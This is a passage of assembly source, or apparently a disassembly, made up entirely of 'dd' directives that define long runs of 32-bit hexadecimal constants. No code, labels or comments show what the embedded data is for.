dd 4DF3B5Dh, 1539AF00h, 562F45C5h, 9FB951D4h, 0B2B1B500h
dd 497D00B6h, 2ADEA296h, 970386AAh, 10061665h, 3D39024Bh
dd 0F3DC2627h, 694648A2h, 1B58010h, 0B6590E6Dh, 40A8DC6Ch
dd 6A4A8914h, 237B9707h, 0B5C72A5Bh, 10173F50h, 0CEA900C5h
dd 55AF66DFh, 3300FD03h, 65449041h, 7A538C3h, 48BDC0C9h
dd 9E05C060h, 0A7007606h, 1D9BE879h, 774439Ch, 960B5468h
dd 0D42640D6h, 520B715Bh, 8092B8ECh, 2F51434Eh, 6C57382Ah
dd 54647680h, 5937DED5h, 85C7A300h, 0A979347Dh, 0C472ADh
dd 0A4506626h, 88475EBh, 2B018096h, 9235E1BAh, 490D994h
dd 0DFACAAh, 0C237C94h, 0F38D9970h, 97F6E00h, 1F48A8B2h
dd 49B300B1h, 7C6A0E3Eh, 0BD78F31Eh, 7BA205Ch, 852D23B4h
dd 0E10E21C0h, 7050295h, 224D3D84h, 0FD9040FFh, 9974A6h
dd 3A5D7309h, 3F7F7A0Ah, 7C92061Fh, 0AE010C00h, 0F0A72452h
dd 203B83Bh, 93261EB9h, 6495AD88h, 0AF808584h, 0CA08E880h
dd 937700A5h, 78556AEEh, 0D124B503h, 8501D4D3h, 0B20FB879h
dd 1EB1FE61h, 1154FE28h, 7512E9D9h, 25FE0411h, 0E0280432h
dd 438148E6h, 7921A1DEh, 318C2426h, 11B93D29h, 0DA12BB22h
dd 0FFE93C82h, 140F4925h, 847191C0h, 45896773h, 0B8447A08h
dd 7E4284E2h, 13081121h, 509694B7h, 21015211h, 0B005080Dh
dd 11148A94h, 0D921DB9Fh, 91AE2908h, 9509039Eh, 0C0E58553h
dd 0BAB110h, 5FEFBE32h, 2B63A1A6h, 9B499000h, 47C2F670h
dd 6CCC0412h, 0C04ED8D5h, 0BA7781FBh, 0BE4B5E07h, 3E210C54h
dd 9F4DDCBh, 7BE207h, 4F9FA3A9h, 1816BCF6h, 5383EA03h
dd 0B0B89A94h, 0BE09B5h, 42D47005h, 6D305549h, 7FF0E000h
dd 2A477C83h, 0A4CB3FD3h, 317200F3h, 22F95582h, 56059153h
dd 0B9A39524h, 75D30C90h, 86110042h, 919E89F2h, 0ACE6E9BEh
dd 0A40139h, 6AB666B0h, 4CDA0h, 0B8EA0C45h, 6CA692FCh
dd 701D4E8h, 91B5EE3Ah, 66E0025Fh, 0BE050336h, 1A7D3064h
dd 12977008h, 80CF205Dh, 0B5F570h, 2068279h, 0F8394BC9h
dd 5A70B400h, 26ABF7ECh, 0F51D01BDh, 7E1EA8C6h, 1888E44Fh
dd 6A31D200h, 0DF8D441Bh, 0F3933067h, 0ED955E30h, 63802B00h
dd 0E41E674h, 3BAD08B5h, 16006B22h, 63EF406Dh, 47C81F89h
dd 9FE9CE01h, 85000F0Eh, 6606B97Eh, 0F3F61B00h, 0C29D7ABEh
dd 59E80014h, 13454EB4h, 0A900D963h, 0C072EB36h, 4812A5h
dd 67DDA4B2h, 778B4FACh, 0BB4AFF00h, 45683906h, 0E4480061h
dd 0DFAC891Ch, 14005A85h, 0F77864Bh, 116DD35h, 0BDD0B94Dh
dd 4064B655h, 9727D894h, 151C4800h, 0A14BEFF0h, 0C19B1E22h
dd 580C0F8h, 9129B60Bh, 25B53Ah, 7EB22DB3h, 0D4F7EBh, 1DA060B0h
dd 9B6A9AF4h, 0EA6E0B17h, 0F6999D00h, 2D7E310h, 0E329527h
dd 0C4E0E460h, 7904C87Ah, 8F84C231h, 0F1593480h, 8CAD1F7Ch
dd 2DD4C01Ah, 3667072Fh, 6D32B400h, 4E7F010Ah, 0CCD83FFFh
dd 0C2BFB781h, 30DA4C99h, 8D004805h, 8424713Bh, 4DF00519h
dd 4D02684Bh, 0AA9C2DEAh, 72805440h, 7F1E3A00h, 73A1FB55h
dd 289217h, 440BFFA6h, 0DA673AAFh, 0D1038303h, 0AB5B957Ch
dd 0D04CC10Fh, 94F36ECh, 0CBDD32E9h, 67094800h, 0D600E557h
dd 1250BF1Bh, 4B7ED7h, 9731CAB2h, 0AEA284DDh, 7166E200h
dd 6FAF9EA7h, 38F67Fh, 2D0EE661h, 31DB90D2h, 519C9503h
dd 92123C3Ah, 89C0DF71h, 8C071626h, 0AE5CD904h, 322BF2A0h
dd 0DDB60030h, 0A77ADB56h, 434DC399h, 0DADF0700h, 6EE0B14Ch
dd 4495D6h, 7D3A9637h, 0B5242BDEh, 0CE02A60Eh, 0D2053E1Fh
dd 0FB3E9Fh, 0BF819AA4h, 0CB00050Ah, 0AE90FB6Ah, 0F512A25h
dd 78416C97h, 0A956DA80h, 0BB29D418h, 1A80A490h, 13B02CB4h
dd 64D800E7h, 99C9DA65h, 0CD1DC81Bh, 4240759Eh, 376334BFh
dd 3E87CB2h, 2C4987E3h, 88D04581h, 0EB773A08h, 0A6F0B775h
dd 12E45B01h, 0E8DEF91Fh, 17F0E041h, 43409C0h, 28051E2Eh
dd 4088B187h, 0DAC184B9h, 8B38021Dh, 88910DC0h, 0A1581Ah
dd 739B75ACh, 341255Eh, 5D509800h, 9D923918h, 283201CDh
dd 0C235157Bh, 3F9140CFh, 0D10068B7h, 3D54345h, 4FED17h
dd 8AD25F4Bh, 24942067h, 30DBB800h, 0D4801286h, 1FE473D5h
dd 40C53F78h, 13068C8Eh, 551D1DB3h, 598040C0h, 534185AEh
dd 0AB501E21h, 0CD5D401Ah, 0D3F6724Ah, 0BD528700h, 0F4A1849Eh
dd 403101AFh, 917AB055h, 6B9DC401h, 5DBCCD00h, 1AB2B928h
dd 77F700D6h, 232B79EDh, 0A2026178h, 3F9AFF48h, 4D3F406Ah
dd 67FD1h, 0D28F999Ch, 6CB64356h, 364F940Bh, 210800E2h
dd 75CF1Fh, 5CB12B27h, 0F9EF709Ch, 0FAABAA07h, 58F0B60Ah
dd 1337E4Eh, 0BCEA415Fh, 43AD26BBh, 85A030ACh, 7D00C3B3h
dd 0D295D0F0h, 44143h, 0FA992848h, 0A5AFE214h, 7494373Ch
dd 0F68F5D00h, 0C5134263h, 575C00E1h, 82846FA7h, 61F61FFDh
dd 37E81154h, 0E4108300h, 283FA548h, 0C9720742h, 228C6078h
dd 1C400170h, 60F4862h, 200234FEh, 5E40CDD1h, 0D25100ABh
dd 8C729063h, 5D7584F9h, 60172B00h, 98B308EEh, 7EE6E894h
dd 0FFC000D2h, 193C5FB8h, 0C23AF39Bh, 21FF9C7h, 97C113E2h
dd 0AAD00109h, 4883C8E4h, 0CE002A47h, 0B6C1A220h, 35023AE3h
dd 1D3DAF89h, 52D840DBh, 38F358DAh, 7F929E3Eh, 0AE07AEE2h
dd 34B0EA8Bh, 3BDFC436h, 16807954h, 0BF5F5DCDh, 9500438Dh
dd 4DEC1C86h, 294DB6Eh, 9992C737h, 0D8404CB7h, 8900A28Bh
dd 7C1615BFh, 1FCEB9ECh, 4971D828h, 8080C429h, 0F6E88169h
dd 3496DB00h, 0A2DC19ACh, 31640562h, 0C7CE1CD7h, 0F873E006h
dd 9000BCBBh, 0D008FD67h, 15B2B0Fh, 85A3E501h, 30F59F6Eh
dd 0B6011F8Eh, 4F13365Dh, 30804Ah, 6E893CBDh, 0E4062Ch
dd 0E4F705D0h
dd 17003B83h, 0A3826D5h, 17B47361h, 47F58ADBh, 1020EF2Ch
dd 1CC56884h, 61E00800h, 27F2DD95h, 8BAC0049h, 0DFA7379Dh
dd 440023AEh, 9864C351h, 0FACFA3h, 39E2137Bh, 34258072h
dd 4A7CCD00h, 0D7ED0791h, 0F19800ACh, 0AA6855A8h, 0A72CB52Bh
dd 5B00CEA2h, 1BC88045h, 0A3B10E3Eh, 42E01292h, 9BFD7A6h
dd 0E31C437Ch, 0EDC063E8h, 0BD4B2E38h, 0CA8C1C3Bh, 92DB00D8h
dd 78030B8Dh, 4E33C0FCh, 0AF666053h, 4090AD90h, 20F0070h
dd 95507D84h, 7900C5B3h, 0C0FFE852h, 45362F6h, 1CF9DF2Fh
dd 0E99DC09Dh, 5071C6C9h, 3CFA4E2Eh, 23B7500h, 16C111C2h
dd 1F6041D6h, 5B2AC1A8h, 708A1A19h, 800A6A0h, 0A2ABF69Ah
dd 572798h, 0CBC8CD6Fh, 1B6DBC2Eh, 0F529C8A1h, 0AD3080C4h
dd 2B77B114h, 12D02671h, 5C2F004Ch, 93FA7879h, 0C9FEAA00h
dd 3C41778Fh, 0EFEE0C95h, 0BCD9E333h, 3D82CC00h, 23AC1920h
dd 0C845605Fh, 7454DCA5h, 0A21EC900h, 51B9751Dh, 9E9025h
dd 0F44C3B7Eh, 7C44ACC0h, 6EFEE900h, 821D6676h, 0D85E63F6h
dd 0E4E9DCC2h, 3AF17AC8h, 7103E4h, 0F80FABF1h, 7CAFA327h
dd 70A6CD5Ch, 0D7E2440Fh, 72C2E03Dh, 4975E7AEh, 310778C1h
dd 505FA1D9h, 0A0D4AC30h, 0EA257202h, 0C04FCBCAh, 0E4C6FE33h
dd 338E00DAh, 6ACFF974h, 0A53B4081h, 6C7F00E2h, 9D75D1Ah
dd 0C23812A2h, 7B784089h, 0E779F206h, 303F5C00h, 8B0D4CC8h
dd 143700B1h, 156199F1h, 0F40B9FEDh, 835823h, 0E531639Ch
dd 25360081h, 0ECE9F5C1h, 1D0A2876h, 95405C6Ch, 0E89D83Fh
dd 2B0EFD8Bh, 365CA1B6h, 0F457161Eh, 0DEEF3710h, 0FDE600A0h
dd 1DC1896Ch, 7B009652h, 43B9AF0Dh, 3205F30h, 924B6380h
dd 4800C629h, 0AB15BEC0h, 9850B0F9h, 0F0AA58E4h, 963BAC0Fh
dd 0BF1A1FE0h, 0EE093EDCh, 80A3828Bh, 595CA4E8h, 5BF700D7h
dd 7FFF92EDh, 443DA6D9h, 6903FF0Dh, 336D7772h, 40FEFADFh
dd 7B8BCE06h, 19DB0470h, 809CA13Bh, 0D658ADDCh, 0A83F0201h
dd 9B3C4DC7h, 0A0CE1880h, 60D3661Dh, 0C960E3E2h, 0D9336331h
dd 878C0026h, 36784627h, 8B03A4D5h, 384C410Fh, 0B840BBEEh
dd 0EE1F0214h, 883212C0h, 6DACF5h, 0DBFE81Ch, 170A2E0Ch
dd 82FF101Bh, 30404CF8h, 3F0E619Bh, 0C07284B9h, 0F55895D5h
dd 44CD0543h, 269394h, 8A8B1ADAh, 0C008F10h, 0EF5EECE0h
dd 0F9E370A2h, 3D71C130h, 6700E17Bh, 0B3ADD636h, 0F1036F63h
dd 83145F22h, 8E44A0CCh, 613F895h, 58D70BB2h, 0E41E30D9h
dd 83804D97h, 8BF0F8EAh, 32F6E9h, 9924C6AAh, 56A88472h
dd 76E16B3Ch, 0FB50947Dh, 3D0037C0h, 2C5B88F7h, 986CF1CCh
dd 99950086h, 0BDE05394h, 0A9070743h, 9E74AFFEh, 0CB1345D3h
dd 0D50EB173h, 3E4C020h, 67A7995Eh, 0BDD86C3Dh, 0C100D655h
dd 0CFD02E4Dh, 7C0D309Ch, 0A0F3006Ah, 8EFA3FFBh, 74008D68h
dd 192EAED9h, 0F0453F4h, 0FF5C22C9h, 16F03780h, 8803DD8Bh
dd 2D587265h, 3FFDE0A7h, 107A000Ah, 3DC859BCh, 7000F15Eh
dd 8C7C27FAh, 57FFFDh, 0BE7EA4F6h, 0D85C889Ah, 39E88600h
dd 6878694Ah, 731A007Ch, 0AB271E8Ah, 0DE09EE87h, 6196FAD6h
dd 0A440AD58h, 430F9Eh, 0F1BE8EC3h, 0CCCAB002h, 757DED48h
dd 0A902EEE8h, 5A013691h, 0EAB0491Ah, 0EC004C2Ch, 0FD1CF1C0h
dd 7B042B9Fh, 8867C135h, 0B36D0090h, 0B2FF09F3h, 78CF59h
dd 1A7AF127h, 108F9Ch, 0C0199C78h, 0E7EE00D7h, 7928CBBFh
dd 0F97AA5C1h, 0B507B6B8h, 3042F60Ah, 14FE9F40h, 0DE2000F2h
dd 8C9CA6E3h, 2B5BD602h, 5880281Eh, 0E0109014h, 121F126Ch
dd 8560353Ah, 7760000Dh, 80BFCEA3h, 2AFF0500h, 0F85793A0h
dd 0D9F202h, 4213FBD4h, 86D12B09h, 477A490h, 40C99100h
dd 0EF3EA314h, 1323E42Eh, 808DDC95h, 41E6A59Ch, 0BCAC6100h
dd 36CADB6Bh, 8FC31EA2h, 0FB92C0E1h, 4F40B494h, 8880BA30h
dd 0E5D414h, 0F75288B2h, 2B3666D3h, 0D7656A03h, 0A8D5248Eh
dd 0EEAA060h, 0C4460B3Ch, 0CA1687C0h, 53EAE4F4h, 0B3334F00h
dd 1F9671E5h, 0C4ED0010h, 2799498Dh, 0F00D7DEh, 0F40852F6h
dd 0CE9ABCh, 809328CFh, 3EBF09ECh, 8099CA3Fh, 1E2AD094h
dd 0A8E88F05h, 4E4B9F4h, 3D5F95C2h, 11A8C106h, 0FBB470D2h
dd 81A40501h, 192609DFh, 0C08496F4h, 217ED920h, 9800B842h
dd 0E76C2FC8h, 3A0BE935h, 7680DEC4h, 0B0A3263Ch, 0EA0BCDA8h
dd 3867C2Dh, 0C855A058h, 0C4449CCh, 0BF14B668h, 0E90D6189h
dd 2888A809h, 3A3E3083h, 210EF084h, 0CFA2D808h, 0C81800C9h
dd 58A7A9CAh, 0B7000085h, 27A3DB14h, 5A002C22h, 330D5BB6h
dd 0F0F00777h, 38B7E6AAh, 0FF92273Ah, 0E88801EBh, 60EE79ACh
dd 651E2237h, 0F9C0C963h, 957BE73h, 709D162Dh, 0BFD00B4h
dd 7D6C2544h, 0AF33D900h, 0C327CDDEh, 1F190BF5h, 2480175Ch
dd 0DFD29660h, 70B04600h, 0DA39FA3Eh, 0B8E009Ch, 73457A98h
dd 1009181h, 4D477E21h, 1B67ADh, 4AB6B00Ch, 40D01F5Dh
dd 18AB391Eh, 384089D2h, 8271E46Bh, 4909010Eh, 0BD04EC1Bh
dd 0A259FCB8h, 48017270h, 0FDE48511h, 0AF2082E7h, 326416B0h
dd 0B32483D5h, 0A984E880h, 0FD18ED03h, 80647A08h, 0A2F82Ch
dd 0DC976825h, 9D8471BFh, 36693A00h, 0AD881692h, 0B87F0BB5h
dd 1423F6B3h, 607BE4C5h, 249DDB0Ah, 4400FCFDh, 0FB3D9021h
dd 28D600A1h, 0F5426A9Ah, 0E8002AC3h, 0B3FE03B1h, 25E750Eh
dd 91980814h, 0B8D8A79Fh, 0D9888C54h, 71E2B0C1h, 4208A5Fh
dd 4B9C002Bh, 3A94B833h, 930CA370h, 21646BD8h, 0E88D0FD7h
dd 6240602Bh, 0DB669F73h, 517F7E00h, 4357FB8Ah, 286D3B7Dh
dd 0D9C7A500h, 7405D3Fh, 53FA2B00h, 6BEF4E9Dh, 2C9A60h
dd 112FCD06h, 3ED6C3BEh, 0ACA08650h, 0E3455B1Ch, 90C14741h
dd 81804F54h, 18D3988Bh, 25029BB9h, 31608C5Fh, 5CE02015h
dd 2E01BD16h, 61B16999h, 6420067Eh, 4BDE0BEAh, 6D80B33Fh
dd 0F151BC55h, 6C008FFCh, 0B8917ECAh, 0D24958h, 251908ABh
dd 214541A2h, 9502A4EEh, 163496E7h, 49C46087h, 93AD009Eh
dd 0BCF3A682h, 0A200A96Ch, 991253A5h, 7AD35D18h, 66F00E6h
dd 726B5C38h, 95267326h, 0F10121E2h, 7BFED318h, 1B3A1C0h
dd 0DE496E74h, 0C8ADAB0Ah, 0FB004503h, 47B86B09h, 0E66449Eh
dd 9B247CDFh, 829FC8C0h, 0D8011749h, 7F62E29Dh, 60202D4Eh
dd 0DE363C5Fh, 4B737801h, 0D0FF0781h, 6C3090D2h, 226F6A10h
dd 6A851DD7h, 0D475C069h, 37C9749h, 3A1739h, 279538E9h
dd 1CA7D7h, 0FD5DE1CBh, 0ACB775FEh, 0ECA55C0Eh, 0C96D21FBh
dd 0B9F0B511h, 0A02B00FCh, 0A75DCB3Ah, 400F665h, 4DB1CCDAh
dd 600F43h, 64B65BF0h, 246507D0h, 41A86D00h, 0BD61CCD8h
dd 5B580068h, 0EF2FDE1Fh, 0E51C4D2Ah, 410F555Dh, 267700DFh
dd 0C02BB9h, 4A44E76Bh, 12ECA0F6h, 36F9F409h, 0A06B88C2h
dd 8661BC00h, 476304h, 0D5FF9BA0h, 0FB24FD79h, 520112F0h
dd 0B92FB633h, 9080918Ah, 66CCAA8Eh, 0FB001F20h, 2FFAC1BFh
dd 5FD2D3h, 62657EABh, 0FC7FB237h, 54CC5A01h, 0FFB9106h
dd 0EC77089h, 3CE0DA89h, 0E7277A1Eh, 0BB7052h, 699D0837h
dd 347DDA5Eh, 44D68B50h, 0A9CF7216h, 0BC1D6020h, 5FD7B0Dh
dd 0B9B3FFF5h, 0B650E0BBh, 45F4AF00h, 0B8868B9Fh, 1D72E4h
dd 77A063D6h, 0C679D474h, 760016EAh, 0A47F2E27h, 4E06E09h
dd 524CFC21h, 0C548D3C3h
dd 20D8F0C1h, 3AFA4ED4h, 0D6067D0Ch, 7D016850h, 4347CB5h
dd 0E38D8ADAh, 2A08C864h, 32489900h, 7672062Eh, 0FCFA5842h
dd 9560B80Ch, 0AF0154E8h, 12A7E9B1h, 43D47D9Fh, 16500022h
dd 859323B7h, 6213BC37h, 0AB0046C1h, 74FA9DEAh, 6D3300BBh
dd 0E4C6F254h, 7F0702ACh, 45130D48h, 0C11AF5C1h, 1EEC93F0h
dd 80B6203Bh, 5C7CBF71h, 7FA8BF3h, 2B786101h, 0F0FA868Dh
dd 0E6C1080h, 1530A655h, 0FDD31F00h, 44B9BDBFh, 0C8B11C9Fh
dd 7D754053h, 439CBEAEh, 3BEEF93Fh, 5EAC8022h, 81E4A279h
dd 19970708h, 0DE207F0Ah, 0EDB98858h, 8D5F2407h, 6810D1A8h
dd 1271CC4h, 213CFB36h, 0D078B017h, 7E00A152h, 0E8702881h
dd 343087h, 0F2DC3D15h, 0F7E2970Ah, 360F3E7Fh, 41322FFCh
dd 0F9317DA5h, 656D25C4h, 0C08EF9F6h, 1B0B9A18h, 0F2010C0h
dd 2B651BDh, 65965A32h, 0AEC06A99h, 8A00C4A9h, 0C15B8566h
dd 309BC3h, 29FADBCDh, 0ADCB6AB9h, 0D988678h, 0C14BA09h
dd 0AF0F83D4h, 0F33B99CCh, 0E641C4h, 0C1549E90h, 850545F7h
dd 0E5F66474h, 0E90FE003h, 0A76B0BF3h, 0B2C96A70h, 2F811855h
dd 58C0B839h, 47A0A1Ch, 33CE6447h, 680B8590h, 60130989h
dd 240039E2h, 49EFA379h, 14809A00h, 48D95310h, 11880EC1h
dd 6A208291h, 0E9D6BB1Dh, 2904C200h, 680374D7h, 875E00FAh
dd 4D8893EBh, 60071D24h, 0CCC72897h, 417419F0h, 40D6092Eh
dd 4583209Fh, 0E4F8B5A5h, 892EE8C0h, 3920FDh, 19F02D4Fh
dd 24955Bh, 50F2EDA5h, 6EAAD7C7h, 28BA6700h, 34F3B959h
dd 696D03C9h, 0DD5CFA0Ah, 86DABB90h, 0ECF8167Bh, 0CD3D0301h
dd 5967BB3h, 1864ECh, 0CF8B4519h, 2D2212ACh, 0C820200h
dd 325B57B5h, 44EC0068h, 27F04350h, 3900EBF5h, 1ED15FACh
dd 465EA7h, 6BF9346Ch, 0BEA5CD5Bh, 0FD1BC0F9h, 7455E20Fh
dd 9E93A052h, 12EA448Ch, 0B941D0h, 0C63C63F6h, 75009A89h
dd 0ADF36FFEh, 3C2CE556h, 2180BE96h, 0B0DD0B16h, 353F2B6Bh
dd 56F100E8h, 8CFD26E0h, 8A3B00A9h, 74DEC599h, 6D0006F6h
dd 76A8FF5Ch, 483A124Ch, 70003866h, 0C09EC7DDh, 0E90015D7h
dd 7AA92B1Bh, 0A45BD5h, 0B71D2FB0h, 0D605DB1h, 2B0021E4h
dd 50AAFDCEh, 613DBFh, 0B0C654E4h, 8E8F96A8h, 0A5909500h
dd 0D43A33F8h, 4277006Fh, 210B97Dh, 8C179B59h, 0CFF836F6h
dd 85324D00h, 0E424AF14h, 0C251A00Fh, 0F6428494h, 8F0880AAh
dd 4400B8AAh, 651ED79Ah, 20F28Dh, 41382630h, 19352FC8h
dd 62CF9E00h, 0B644AACBh, 0FEF8005Fh, 7DA03411h, 42FA50D5h
dd 4FA8C30Fh, 82DEA0E8h, 3833ADh, 726A60BEh, 0E197E451h
dd 0CEEB7000h, 0C641EEAAh, 7B171C4Dh, 0D45EC0FFh, 54589C86h
dd 0A136DC00h, 0CAD6AA27h, 2C0B4C3Ch, 0A9D90C07h, 3A4BF0BFh
dd 0DE24563Bh, 800E44Eh, 3EF94F2Ah, 6FC3001Fh, 5195D240h
dd 0A4009A88h, 76E34466h, 1BFFB4h, 3F231A4Ah, 9077262Bh
dd 0C448F600h, 0F5700741h, 0CCD400B5h, 0E11DEBAh, 1E3FC987h
dd 0E1EB00FBh, 0E6D9EE67h, 78A70552h, 809BA9F1h, 284B26E9h
dd 0AE77881Dh, 8C933B4Ah, 0AB64F900h, 2847D5Eh, 0EE87E53Eh
dd 0F06020D4h, 4800F360h, 3FCD96E4h, 904EDA5Fh, 84AE001Ch
dd 0EB338979h, 8600583Dh, 7A55105Eh, 80F562h, 2D54A8BAh
dd 5695510Ch, 0C7F88F78h, 0DA064C00h, 0D217CCCFh, 281100F8h
dd 644D1339h, 0BBEC4FF9h, 778C8400h, 0A8E048F0h, 1A330049h
dd 0C399E122h, 3000031Fh, 6257E2FEh, 128F7C54h, 5368B89h
dd 82941498h, 0E040D579h, 0CF2E586Ch, 8600E21Dh, 1712C2B0h
dd 7F330054h, 0F9F8EB02h, 0CB003011h, 3801C37h, 0B2E4EF3h
dd 9E9DF6A3h, 799A4022h, 7D68D540h, 2C5D4A0h, 0A8BCCB50h
dd 0C1007FE0h, 89D35DC7h, 4C56371Eh, 1801983Ah, 0DCF172E1h
dd 0A25C4AAh, 852D6800h, 0B7551101h, 91C2023Ah, 384C500Fh
dd 7DF7D060h, 31289600h, 89A348B1h, 0E50C002Fh, 0A93265C2h
dd 9898D442h, 5B00DDF6h, 0BEF470A7h, 1FD8AAD3h, 0FB3089h
dd 358E66Ch, 0FD30CD14h, 1FF0E0FAh, 0B61D02C1h, 0C7685AC2h
dd 34BB9B60h, 55A9EC0Ah, 0A601DC5Fh, 2A9A838Dh, 694FFA81h
dd 0DC44CC70h, 7324D09Bh, 0A50078C6h, 0D69EA3ADh, 0BAF60A0Fh
dd 99CC2Ch, 948E63E9h, 0C3005F15h, 46ABCA26h, 0EE4B0442h
dd 0D9010017h, 0B5483A44h, 2700CC34h, 0C674E1BEh, 9CE4EE7h
dd 0A51E7A01h, 49ACD420h, 16007E98h, 54C4E710h, 1B92D3h
dd 5387799Fh, 9EB92DF9h, 2BAEAD0Fh, 6D1EE0B5h, 0B56FA70h
dd 0AF4421DBh, 0E7992A80h, 7512C99Ah, 0D400D267h, 0D5F2FF5Bh
dd 0D35E2EC1h, 62BF8028h, 354E93CEh, 4D786602h, 7BB1030h
dd 3AD69079h, 0C80105A0h, 84CDD0E4h, 0DD83EC9h, 2B1D00C4h
dd 32DF69AAh, 5398BC0h, 4C0FFD6Ah, 60582DB3h, 8E4FF387h
dd 0B2ED0037h, 62EE5438h, 891D1FA7h, 36855CE0h, 0A28025A5h
dd 3B0FD283h, 3D814AD3h, 0F6A13F6Dh, 8CF3606Ch, 0B3BC055Eh
dd 6389F43Dh, 0A485E571h, 3C81FF69h, 2ECC7B07h, 428B00BBh
dd 345CEADEh, 7A006C10h, 0B7856BD3h, 1CC1822Fh, 0C2866F21h
dd 5345360Ch, 0C480F962h, 41371454h, 92CCA000h, 0D079F5CDh
dd 243C00BBh, 0D685FF25h, 2D00675Ch, 3EDBE86Eh, 99422Bh
dd 2877AD84h, 0F2CFD6DCh, 3A1D250Eh, 0D29D04C8h, 139B9800h
dd 0A25D8384h, 1253FD4h, 90D2738Eh, 0A06B66EDh, 8300C55Ah
dd 99D9C105h, 0FDE988h, 0C0931E82h, 217F6106h, 17E41100h
dd 975BC555h, 0F450B0A1h, 0D4D3914h, 1AA93680h, 45A26EFEh
dd 80A3D63Dh, 3BE28473h, 242E6708h, 3D72AFC8h, 20F7480h
dd 0EA0B44B5h, 3B01DA00h, 750E3638h, 7D2B0018h, 0F966B79Fh
dd 24817A9h, 9D80004Ch, 62AC3235h, 12D090A0h, 40BED908h
dd 809E1820h, 321C51CAh, 9C3AF704h, 0CF832ECCh, 0D06EA621h
dd 237DF5Ah, 7D66B53Eh, 4C483538h, 0B7580A07h, 773C54E2h
dd 0A58BFF07h, 9C30666Fh, 756AD8h, 0E5AD6201h, 6DF4A02Ah
dd 2CD9CD00h, 0D5CF6828h, 0C33A0014h, 611FDEBBh, 4800AD36h
dd 0A12E8164h, 94AE37h, 3D70783Bh, 24DBE731h, 3CB095EAh
dd 934BD00h, 0ED867774h, 0E0B02Bh, 8418CBF1h, 0A9610F06h
dd 7CF72401h, 9F70B4D3h, 148880C2h, 24610DCh, 0AF27199Ch
dd 0E4E08797h, 9A00CE47h, 0FFE5634Bh, 0BC7BE7h, 1630F3E9h
dd 25053804h, 82FA0E3Fh, 0B8D6C427h, 0B531E1CEh, 5C7FE840h
dd 0B64100BAh, 0F5ABA984h, 4A27F19Eh, 0D2DC99h, 0A2B0C5B8h
dd 5B00C70Eh, 285DE2BCh, 13C50C9h, 9C0FEAA3h, 71FD2254h
dd 0FC7C3010h, 1CB51B00h, 0DE164DEDh, 93F400B8h, 0C16834CBh
dd 9D58526Ah, 61C0288h, 4379149Bh, 0C0A480B9h, 0F22B0ECEh
dd 845D9AD9h, 0A0359630h, 7002188h, 5FF42D11h, 4CB3A7A0h
dd 0B900DEF6h, 0A47E7546h, 123C30EAh, 66BC39h, 0C7985292h
dd 7C111FE4h, 6C9A4817h, 18F8151Fh, 0B40C4DEh, 0EA07911Ch
dd 0C7023300h, 0D699EE82h, 1D1F0328h, 390046C5h, 754F223h
dd 30C255EFh, 19192B5Eh, 8E00B26Ch, 9BA7EAD0h, 48B6FC78h
dd 4A00940Ch, 6E03AB71h, 373D553Ah, 0EB5E8005h, 0DB8FCDCFh
dd 40FB0A0h, 0E3C8D523h, 0D190C064h, 0A1005BD3h, 51F0BCD6h
dd 32A4347h, 567C7F98h, 8F0BBCBh, 6B6773FEh, 0D1804930h
dd 89039Fh, 0CBD3A692h, 5BF36393h, 20B7DF13h, 4A663500h
dd 7B04F11h, 9D7812BFh
dd 610870C6h, 342E5182h, 9B00C9E1h, 3B6AEF1Fh, 0E03E7052h
dd 9F420057h, 546F0BF2h, 5A1DC6F0h, 0E40036CBh, 992907D7h
dd 0F44A0097h, 0BC07FD3h, 0F906412Dh, 0FBF1454Eh, 0C6EF0141h
dd 0B3C49771h, 4FBF6001h, 44153300h, 0D8610D9Ah, 0B0953CC7h
dd 77DEC581h, 801210A7h, 0E5E23382h, 0DB6176h, 0AEE09B4Dh
dd 69B3084Ch, 932ABE0Eh, 3B0C0057h, 4C1E9h, 0FBF875D9h
dd 6028CC29h, 0C732E500h, 8E83A9B0h, 4C9213h, 0A3EA9A49h
dd 8FBAD57Dh, 29C0F5FAh, 0A01DB3F9h, 0BB7C3D79h, 52246A1Eh
dd 0CE6C03FCh, 0FAF0B8EAh, 0F0227D2h, 53A9121Ch, 4B5FCBCh
dd 0C0A58E98h, 5AE3F900h, 4513AB03h, 0F8E8D629h, 1C9AB34Bh
dd 0C0DC56D3h, 0C1BEE934h, 2C1F62E7h, 0BCC0C971h, 41F91FA9h
dd 0F23CE2F6h, 7AAB00FBh, 8F3046E2h, 0E3B5BC8h, 0D2A1785h
dd 57D4F40Eh, 0A524C004h, 755A8D01h, 42B0E056h, 8348E27Ah
dd 0D700771Ah, 7039CFE9h, 499516h, 94BAAE73h, 7D859A74h
dd 0F5548300h, 0C46F7C41h, 876B001Ch, 0B764AA13h, 2D136CC3h
dd 0DC8098EEh, 7172C474h, 307D5982h, 4C516A03h, 111F04EAh
dd 748009D8h, 0FE91502Dh, 0ED121624h, 347C00BCh, 0FD60EA69h
dd 75519967h, 4F607137h, 75A4B13h, 0FEF12A03h, 0A89E28FFh
dd 8D985880h, 1F2242D7h, 1456C4Eh, 0CAA798Ah, 2CC7C513h
dd 0DB0E8008h, 6E3A2Ah, 0E7118302h, 9379FB4Ch, 0A816E84Ah
dd 0EB121906h, 0D55C3A61h, 567B2C8Bh, 0CB79B980h, 6E00A9B8h
dd 47953946h, 120350E4h, 80F72FF9h, 5DC9C564h, 0D5621C03h
dd 1D5ACCE7h, 1DD058h, 677AD1EAh, 0C006F70h, 0DE527316h
dd 0B85B91h, 46EED8F6h, 44BF9E1Fh, 880F0C9Ch, 53EB80F7h
dd 1A3547h, 9196459Fh, 29DF51CFh, 196C0E07h, 0C9077DBFh
dd 5CFC80F9h, 16D02E8Fh, 9D9DA1Ch, 3060DD93h, 9A70771Dh
dd 0F76B2800h, 88CA87Ah, 0F1E86001h, 0D497AACDh, 0D089C100h
dd 1D6593BDh, 5BE32DADh, 0E7683410h, 9D4B5100h, 0AFE68FB9h
dd 3BC313C6h, 0F93C00E8h, 0C9352331h, 0AA24CE06h, 18D5D8h
dd 147F9491h, 57830D47h, 0FA3D2501h, 0EB4ACCF9h, 4D1FFC5Ah
dd 97803965h, 0BAEF3ED9h, 0D50464DEh, 0E70FA21h, 0A8697080h
dd 10A91C86h, 494BC030h, 0FA66E53Eh, 4305F890h, 2DCB7611h
dd 656E1887h, 8840F7DFh, 0C19074A1h, 63F2D8h, 41841E12h
dd 0CCE0109Fh, 0DCFB9300h, 6582A091h, 87113ABFh, 1FC10600h
dd 51954E69h, 195AE81Eh, 1F76ADh, 263F04ECh, 8F001220h
dd 38CE9960h, 0B92E0Eh, 0B89B8E9Eh, 9DA5A12Dh, 0FF265A00h
